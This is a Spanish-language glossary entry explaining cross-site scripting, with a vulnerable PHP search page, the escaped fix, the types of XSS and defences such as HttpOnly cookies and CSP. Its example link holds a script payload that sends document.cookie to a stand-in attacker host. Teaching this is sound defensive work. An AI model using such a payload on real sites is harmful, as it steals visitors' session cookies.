¿Qué es XSS?
También llamado: Cross-Site Scripting, secuencias de comandos en sitios cruzados
Definición
Un XSS (Cross-Site Scripting) es una vulnerabilidad que permite a un atacante insertar código JavaScript en una web que luego se ejecuta en el navegador de otros visitantes, con acceso a su sesión y a lo que ven.
Ocurre cuando una web muestra texto que viene de los usuarios (un comentario, un nombre, un parámetro de la URL) sin escaparlo. Si ese texto contiene <script>, el navegador lo ejecuta como si fuera código de la propia web.
Ejemplo
Una página de búsqueda vulnerable en PHP:
<!-- ❌ Se muestra el texto tal cual -->
<p>Resultados para: <?= $_GET['q'] ?></p>
Un atacante envía a la víctima este enlace:
https://example.com/buscar?q=<script>fetch('https://atacante.example/?c='+document.cookie)</script>
Al abrirlo, el script se ejecuta en la web real y envía las cookies de la víctima al atacante.
La solución es escapar siempre al mostrar:
<!-- ✅ Los caracteres especiales se convierten en texto inofensivo -->
<p>Resultados para: <?= htmlspecialchars($_GET['q'] ?? '', ENT_QUOTES, 'UTF-8') ?></p>
Tipos de XSS
| Tipo | Dónde está el código malicioso |
|---|---|
| Reflejado | En la URL o el formulario; afecta a quien abre el enlace |
| Almacenado | Guardado en la web (un comentario, un perfil); afecta a todos los que lo ven |
| Basado en DOM | El propio JavaScript de la página lo inserta, por ejemplo con innerHTML |
Cómo protegerse
- Escapar todo lo que se muestra. Los motores de plantillas modernos (Twig, Blade, React, Vue…) lo hacen por defecto; el peligro está en saltárselo.
- En JavaScript, usar
textContenten lugar deinnerHTMLpara texto. - Cookies de sesión con
HttpOnly, para que un script no pueda leerlas. - Una cabecera Content-Security-Policy que limite de dónde se pueden cargar y ejecutar scripts.
¿Tienes un producto o servicio relacionado con XSS? Anúnciate en este término.
Términos relacionados
- Inyección SQLLa inyección SQL es una vulnerabilidad en la que un atacante introduce código SQL...
- CSRFUn CSRF es un ataque en el que una web maliciosa hace que tu...
- CookieUna cookie es un pequeño dato que un servidor guarda en el navegador y...
- JavaScriptJavaScript es el lenguaje de programación que se ejecuta en los navegadores y permite...
- WAFUn WAF (Web Application Firewall) es un cortafuegos que analiza el contenido de las...